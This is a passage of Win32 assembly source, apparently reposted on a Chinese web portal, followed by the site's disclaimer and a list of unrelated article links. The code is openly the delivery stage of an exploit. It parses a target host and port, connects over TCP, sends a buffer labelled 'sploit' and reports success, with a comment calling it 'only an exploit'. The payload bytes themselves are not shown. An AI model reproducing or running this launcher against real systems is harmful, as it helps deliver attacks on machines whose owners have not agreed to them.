call write_console

jmp quit2

socket_ok:

mov sock, eax

mov sin.sin_family, 2

mov esi, offset _port

lewp1:

xor al, al

lodsb

test al, al

jz go

cmp al, 039h

ja port_error

cmp al, 030h

jb port_error

jmp lewp1

port_error:

push porterrl

push offset porterr

call write_console

jmp quit1

go:

mov ebx, offset _port

call str2num

mov eax, edx

push eax

call htons

mov sin.sin_port, ax

mov esi, offset _host

lewp:

xor al, al

lodsb

cmp al, 039h

ja gethost

test al, al

jnz lewp

push offset _host

call inet_addr

cmp eax, -1

jnz ip_aight

push ipilll

push offset ipill

call write_console

jmp quit1

ip_aight:

mov sin.sin_addr, eax

jmp continue

gethost:

push offset _host

call gethostbyname

test eax, eax

jnz gothost

push reshostl

push offset reshost

call write_console

jmp quit1

gothost:

mov eax, [eax+0ch]

mov eax, [eax]

mov eax, [eax]

mov sin.sin_addr, eax

continue:

push size sin

push offset sin

push sock

call connect

or eax, eax

jz connect_ok

push cnerrorl

push offset cnerror

call write_console

jmp quit1

connect_ok:

xor eax, eax

push eax

push sploit_length

push offset sploit

push sock

call send

push successl

push offset success

call write_console

quit1:

push sock

call closesocket

quit2:

call WSACleanup

quit3:

push 0

call ExitProcess

parse proc

;cheap parsing.. hell.. its only an exploit.

lewp9:

xor eax, eax

cld

lodsb

cmp al, 20h

jz done

test al, al

jz done2

stosb

dec ecx

jmp lewp9

done:

dec ecx

done2:

ret

endp

str2num proc

push eax ecx edi

xor eax, eax

xor ecx, ecx

xor edx, edx

xor edi, edi

lewp2:

xor al, al

xlat

test al, al

jz end_it

sub al, 030h

mov cl, al

mov eax, edx

mul numbase

add eax, ecx

mov edx, eax

inc ebx

inc edi

cmp edi, 0ah

jnz lewp2

end_it:

pop edi ecx eax

ret

endp

init_console proc

push -10

call GetStdHandle

or eax, eax

je init_error

mov [console_in], eax

push -11

call GetStdHandle

or eax, eax

je init_error

mov [console_out], eax

ret

init_error:

push 0

call ExitProcess

endp

write_console proc text_out:dword, text_len:dword

pusha

push 0

push offset bytes_read

push text_len

push text_out

push console_out

call WriteConsoleA

popa

ret

endp

end start

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有